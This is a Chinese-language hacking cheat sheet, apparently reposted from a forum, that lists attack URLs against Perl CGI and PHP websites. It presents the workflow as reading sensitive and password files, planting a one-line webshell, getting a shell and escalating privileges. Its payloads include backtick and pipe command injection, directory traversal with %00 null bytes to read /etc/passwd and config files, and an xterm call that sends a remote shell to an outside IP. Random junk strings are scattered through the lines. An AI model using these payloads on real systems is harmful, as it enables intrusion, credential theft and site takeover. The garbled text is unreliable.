总体思路,跳过限制,查看敏感文件和密码相关文件。写入一句话cgi,进后台试传webshell(后台如果加验证或者MD5过的时候,可以试着 5 H# {: d0 p! Y7 y( A X9 ^
cookies欺骗,本地提交),寻找可执行的目录和相关函数,拿shell…………》提权
! A M( B% g3 ^' f( g- e, }; \/ K3 Z感谢EMM和ps的睿智和他们高超的脚本技术,还有以前老红4的脚本群英和国外的那些牛淫们
9 r. @( i0 `' b$ N注“
9 P2 d5 I C/ Q- A, ~perl脚本的漏洞大多出在open()、system()或者 ’’调用中。前者允许读写和执行,而后两个允许执行。
) q) [ {' r& H3 n. N以POST的方法发送表格的话,就不能蒙混过关(%00将不会被解析),所以我们大部分用GET 9 T% }1 M7 i/ ^. m5 V' E
2 L6 u3 k, C/ X
http://target.com/cgi-bin/home/news/sub.pl?12 随意构造 - U4 R: o- R: f/ n1 F
http://target.com/cgi-bin/home/news/sub.pl?& 换个字符,也许可以执行呢
8 v/ R4 b) U9 x5 x) ihttp://target.com/cgi-bin/home/news/sub.pl?`ls` 单引号 8 c% e4 C& L- {# H$ p: J- \
http://target.com/cgi-bin/home/news/sub.pl?`id`
3 m0 `7 V t2 {+ c2 [7 mhttp://target.com/cgi-bin/home/news/sub.pl?`IFS=!;uname!-a` , _, k' E6 R& X8 u3 Z+ \2 s1 {
http://target.com/cgi-bin/home/news/sub.pl?`cat<’/home1/siteadm/cgi-bin/home/news/sub.pl’` 非常好的思路,把代码cat回来显示 % S1 z0 R% l3 [/ Y9 P
' d& w; |% H* {0 K& `+ jhttp://target.com/test.pl;ls|
+ v& _. T, ?+ n9 {% h4 N5 C# whttp://target.com/index.cgi?page=|ls+-la+/%0aid%0awhich+xterm| l3 j! _4 i: m, a) L( h# I
http://target.com/index.cgi?page=|xterm+-isplay+10.0.1.21:0.0+%26| " u# a/ z- m% e# g( o
http://target.com/test.pl?’id’ 类似’’内的操作和命令执行自己构造
" _3 N, w! n9 u x: m比如:cat<’/home1/siteadm/cgi-bin/home/news/test.pl’` 把pl代码显示出来。 ; u% S$ c% z' ?7 w9 _
http://target.com/index.cgi?page=;dir+c:\|&cid=03417 类似asp的Sql injection
: s9 z9 p" }! |' Q9 Z3 y( p H9 T' L8 W! h i
http://target.com/test.pl?&........ /../../etc/passwd
8 K1 f# f# u7 W0 {- H
3 W b1 O4 B4 v# D* u; `) {http://www.target.org/cgi-bin/cl ... info.pl?user=./test 前面加./ " T1 M/ q6 U$ s
http://www.target.org/cgi-bin/cl ... nfo.pl?user=test%00 注意后面的 %00 别弄丢了
$ i- h" f! |% L/ B# ?7 vhttp://www.target.org/cgi-bin/cl ... ../../etc/passwd%00 8 w/ s$ T% I3 \+ H7 A, y1 I2 @# y
; v6 T& ^# `5 x$ `/ P( Y% S9 T: |
http://www.target.org/show.php?f ... /include/config.php 查看php代码
2 ^/ m: {+ s9 Z% @http://www.target.org/show.php?f ... ng/admin/global.php
; i& j) m4 {" ^# _7 ]' i. k) ~- Z" C' a3 M6 I" O+ r" ]6 n# G
emm和ps的一句话+ M; D! |+ z* `1 \* t# ]- ^
: m2 o+ ~2 K# Shttp://www.target.org/cgi-bin/cl ... /../../../bin/ls%20
3 J' y1 T/ v" d6 g2 M, y8 _2 h( |; c ?3 {2 _9 |
>bbb%20|
/ x3 l: p; s, h% G
' Z6 X! N2 Z4 C% {+ \/ ihttp://www.target.org/cgi-bin/club/scripts\’less showpost.pl\’ 并且寻找(用\’/\’)\’Select\’ 字符串 0 e* q2 w1 G. U& E
! g" t0 f2 W. M
http://www.target.org/cgi-bin/cl ... bin/sh.elf?ls+/http 这里的是elf是CCS中文linux操作系统特征
0 l3 W* `8 k* p. Z% k O$ Jhttp://www.target.org/csapi/..%c0%afhttp/china.sh”+.elf?”+&+ls+/bin 4 I0 U! F D' ?
3 W; y# S9 ]' B4 I$ i相关html为后缀的脚本技术,继续深挖中,但是不可质疑的是提交数据查询语句也是一种完美的方法
+ o3 k2 o: A- ahttp://target.com/index.html#cmd.exe ) w' i- D6 |% d8 @7 d
http://target.com/index.html?dummyparam=xp_cmdshell - R2 m" \! h/ l; h
lynx http://target.com/cgi-bin/htmlscript?../../../../etc/passwd $ E' r. X; s6 o
|